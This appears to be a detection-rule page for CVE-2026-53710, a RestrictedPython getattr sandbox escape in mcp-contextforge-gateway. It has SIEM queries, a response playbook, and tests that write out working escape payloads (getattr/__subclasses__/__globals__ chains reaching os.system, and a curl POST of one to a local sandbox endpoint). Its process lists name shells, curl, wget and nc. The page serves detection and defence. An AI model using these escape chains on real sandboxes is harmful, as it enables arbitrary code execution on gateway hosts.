CVE-2026-53710

mcp-contextforge-gateway RestrictedPython Sandbox Bypass via getattr (CVE-2026-53710)

Initial Access Execution Last updated:

Detects exploitation of CVE-2026-53710, a RestrictedPython sandbox bypass in IBM's mcp-contextforge-gateway (MCP Context Forge) affecting versions <= 1.0.1. The python_sandbox_server exposes a RestrictedPython-based execution environment that fails to safely restrict the getattr builtin (CWE-693 protection mechanism failure / CWE-94 code injection). An attacker who can submit Python code to the sandbox can use getattr to traverse from allowed objects to dangerous attributes (e.g. __class__, __bases__, __subclasses__, __globals__, __builtins__) and reach os/subprocess primitives, achieving arbitrary code execution on the gateway host (CVSS 10.0). This detection surfaces sandbox-escape gadget strings in submitted payloads, anomalous child processes spawned by the gateway/python_sandbox_server, and outbound activity from the sandbox process. Fixed in v1.0.2 (commit 63a2900e).

Vulnerability Intelligence

Public PoC

CVSS

10.0
Critical (9.0–10)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Write-up coming soon

What is CVE-2026-53710 mcp-contextforge-gateway RestrictedPython Sandbox Bypass via getattr (CVE-2026-53710)?

mcp-contextforge-gateway RestrictedPython Sandbox Bypass via getattr (CVE-2026-53710) (CVE-2026-53710) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for mcp-contextforge-gateway RestrictedPython Sandbox Bypass via getattr (CVE-2026-53710), covering the data sources and telemetry it touches: Syslog, MicrosoftDefenderForEndpoint. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
let escapeGadgets = dynamic(["__class__","__bases__","__subclasses__","__globals__","__builtins__","__mro__","__import__","__reduce__","func_globals","getattr("]);
let suspiciousProcs = dynamic(["sh","bash","dash","os.system","subprocess","popen","/bin/sh","cmd.exe","powershell.exe"]);
(union isfuzzy=true
(Syslog
| where ProcessName has_any ("mcpgateway","python_sandbox_server","gateway")
| where SyslogMessage has_any (escapeGadgets) and SyslogMessage has "getattr"
| extend Signal="sandbox-gadget-in-log"),
(DeviceProcessEvents
| where InitiatingProcessFileName in~ ("python","python3","uvicorn","gunicorn") 
| where InitiatingProcessCommandLine has_any ("python_sandbox_server","mcpgateway","mcp-context-forge")
| where FileName in~ ("sh","bash","dash","cmd.exe","powershell.exe","whoami","id","curl","wget","nc")
| extend Signal="sandbox-child-process"))
| project TimeGenerated, Computer, Signal, ProcessName=coalesce(FileName,ProcessName), Details=coalesce(ProcessCommandLine,SyslogMessage)
| sort by TimeGenerated desc

Surfaces RestrictedPython sandbox-escape gadget strings (getattr with __class__/__subclasses__/__globals__ chains) in mcp-contextforge-gateway logs and anomalous shell/recon child processes spawned by the python_sandbox_server or gateway Python process.

critical severity medium confidence

Data Sources

Syslog MicrosoftDefenderForEndpoint

Required Tables

Syslog DeviceProcessEvents

False Positives

  • Legitimate MCP tools that intentionally shell out (e.g. a git or shell-wrapper tool) will spawn child processes from the gateway process — baseline the approved tool set.
  • Security researchers or internal red teams testing sandbox hardening in a staging gateway.
  • Application logs that legitimately contain Python dunder attribute names (e.g. framework tracebacks or introspection tooling) may match gadget strings without an actual escape.

Sigma rule & cross-platform mapping

The detection logic for mcp-contextforge-gateway RestrictedPython Sandbox Bypass via getattr (CVE-2026-53710) (CVE-2026-53710) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1RestrictedPython getattr subclass-traversal escape gadget

    Expected signal: Process-creation event for python3 spawning a shell running 'id'; log entry containing getattr and __subclasses__/__globals__.

  2. Test 2getattr __builtins__ import gadget

    Expected signal: python3 process spawns 'whoami'; command line and logs contain getattr and __subclasses__/__import__.

  3. Test 3Sandbox payload submission to gateway endpoint

    Expected signal: Gateway access log records a POST to the sandbox endpoint with a body containing getattr/__subclasses__.


Response Playbook

Triage

  1. Confirm the mcp-contextforge-gateway version on the host: `pip show mcp-contextforge-gateway` — any version <= 1.0.1 is vulnerable; 1.0.2+ contains the fix (commit 63a2900e).
  2. Identify whether python_sandbox_server is enabled and network-reachable, and who is authorized to submit code to it. Determine if the alerting payload/child process originated from an authenticated tenant or an anonymous request.
  3. Retrieve the submitted sandbox payload from gateway logs and inspect for getattr chains reaching __subclasses__/__globals__/__builtins__/os/subprocess — a real escape gadget confirms exploitation vs. a benign dunder match.
  4. Correlate the alert timestamp with any child process of the Python gateway process (shell, whoami, curl, wget, nc) to establish whether code execution actually occurred.

Containment

  1. Isolate the affected gateway host from the network and disable the python_sandbox_server tool until patched to >= 1.0.2.
  2. Revoke/rotate any credentials, API keys, or tokens accessible to the gateway process, as the sandbox runs with the gateway's privileges and secrets may be exposed.
  3. Block inbound access to the gateway's sandbox endpoint at the reverse proxy/WAF pending remediation.

Evidence Collection

  1. Capture full gateway application logs including the raw submitted Python payload and the RestrictedPython evaluation trace.
  2. Preserve process-execution telemetry (Sysmon/auditd/EDR) showing the Python gateway process and any child processes, with command lines and network connections.
  3. Snapshot the host memory/disk if a shell was spawned, and collect outbound network flows from the gateway process for the exfil window.

Escalation Criteria

  • ! Escalate to IR immediately if any child process of the gateway (shell, curl, wget, nc, whoami, id) is confirmed — this indicates successful code execution on a CVSS 10.0 flaw.
  • ! Escalate if evidence shows secret access, lateral movement, or outbound C2/exfil from the gateway host.
  • ! Escalate if the gateway is internet-exposed with sandbox submission open to unauthenticated users.

Investigation Guide

Forensic Artifacts

  • > Gateway application logs containing the submitted Python source with getattr/__subclasses__/__globals__ gadgets.
  • > Process-creation records (Sysmon EventID 1 / auditd execve / EDR ProcessRollup2) for children of the python_sandbox_server process.
  • > Outbound network connection logs from the gateway process indicating recon or exfil.

Tuning Guidance

Baseline the legitimate set of MCP tools that intentionally spawn shells or network utilities from the gateway process and exclude those exact command lines to reduce false positives. If gateway logs verbosely emit Python tracebacks containing dunder attribute names, tighten the gadget match to require getattr adjacent to __subclasses__/__globals__ rather than any dunder. Prioritize the process-lineage signal (child process of python_sandbox_server) over log-string matching, as lineage strongly indicates actual code execution. After confirming all gateways are on >= 1.0.2, downgrade the rule to informational.


Hunting Queries

Hunt for any non-Python child process of the sandbox server and for getattr escape gadgets in submitted payloads across the gateway fleet.

Hunting — KQL
kql
DeviceProcessEvents | where InitiatingProcessCommandLine has_any ("python_sandbox_server","mcpgateway") | where FileName !in~ ("python","python3") | project TimeGenerated, DeviceName, FileName, ProcessCommandLine, InitiatingProcessCommandLine | sort by TimeGenerated desc
Hunting — SPL
spl
index=* (source=*mcpgateway* OR source=*python_sandbox*) "getattr" | regex _raw="getattr[\s\S]*(__subclasses__|__globals__|__class__|__builtins__)" | table _time host source _raw

Atomic Red Team Tests

Test 1 RestrictedPython getattr subclass-traversal escape gadget
linux

Submits a classic RestrictedPython escape payload that uses getattr to walk from an object's __class__ through __subclasses__ to reach os.system, simulating the CVE-2026-53710 bypass.

Command

bash
python3 -c "g=getattr; c=g((), '__class__').__bases__[0]; subs=g(c,'__subclasses__')(); [g(g(s,'__init__'),'__globals__')['system']('id') for s in subs if 'catch_warnings' in str(s)]"

Cleanup

bash
echo 'no persistent artifacts to clean'

Expected Telemetry

Process-creation event for python3 spawning a shell running 'id'; log entry containing getattr and __subclasses__/__globals__.

Expected Detection

KQL/EQL sandbox-child-process signal fires on the id child of python3, and gadget-string signal matches the payload.

Test 2 getattr __builtins__ import gadget
linux

Uses getattr to reach __builtins__ and import os from within a restricted-style evaluation, then spawns a benign command.

Command

bash
python3 -c "b=getattr(getattr(getattr((),'__class__'),'__base__'),'__subclasses__')(); import_=getattr; os=__import__('os'); os.system('whoami')"

Cleanup

bash
true

Expected Telemetry

python3 process spawns 'whoami'; command line and logs contain getattr and __subclasses__/__import__.

Expected Detection

Child-process lineage rule flags whoami spawned by the Python gateway process.

Test 3 Sandbox payload submission to gateway endpoint
linux

Simulates an attacker POSTing an escape payload to the python_sandbox_server tool endpoint of a lab mcp-contextforge-gateway instance.

Command

bash
curl -s -X POST http://127.0.0.1:4444/tools/python_sandbox/run -H 'Content-Type: application/json' -d '{"code":"getattr(getattr((),\"__class__\").__bases__[0],\"__subclasses__\")()"}'

Cleanup

bash
true

Expected Telemetry

Gateway access log records a POST to the sandbox endpoint with a body containing getattr/__subclasses__.

Expected Detection

Log-based gadget signal matches the submitted payload in gateway logs.

Related Detections